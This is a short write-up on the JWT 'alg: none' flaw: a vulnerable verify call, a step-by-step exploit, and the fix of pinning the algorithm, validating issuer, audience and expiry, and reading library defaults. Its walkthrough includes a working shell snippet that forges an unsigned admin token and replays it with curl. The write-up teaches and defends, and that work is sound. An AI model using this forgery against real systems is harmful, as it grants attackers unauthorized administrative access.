TL;DR#
If a verifier reads the alg field out of the token header and does what it says, an attacker sets alg to none, drops the signature, and writes whatever claims they want. The fix is to pin the algorithm server-side and never trust the header.
The vulnerable pattern#
// DO NOT DO THIS
const decoded = jwt.verify(token, secretOrKey);Most libraries default to honoring the alg claim in the token header. Send {"alg":"none","typ":"JWT"}, base64url it, attach an empty signature, and plenty of verifiers accept the token as valid.
Exploit walkthrough#
- Capture a valid JWT from
/login. - Decode header:
{"alg":"HS256","typ":"JWT"}. - Rewrite header:
{"alg":"none","typ":"JWT"}. - Rewrite payload: change
suborroleto admin. - Strip the signature segment, leave trailing dot.
- Replay the token. Server returns the protected resource.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64url)
PAYLOAD=$(echo -n '{"sub":"admin","role":"admin","exp":9999999999}' | base64url)
TOKEN="${HEADER}.${PAYLOAD}."
curl -H "Authorization: Bearer ${TOKEN}" https://target/api/adminThe fix#
Allowlist a single algorithm, server-side, before verification.
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // hard pin
issuer: 'https://issuer.example',
audience: 'api.example',
});Better still: use a library that makes you name the algorithm when you construct the verifier and ignores whatever the token claims.
Lessons learned#
- The
algheader is attacker-controlled, so treat it the way you treat any other attacker input. - Allowlist, don't denylist. Blocking
nonestill leaves HS/RS confusion open. Pin the exact algorithm you expect. - A valid signature is not the whole check. Validate
iss,audandexpserver-side too. - Read your auth library's defaults. Some still honor the header
algin 2026.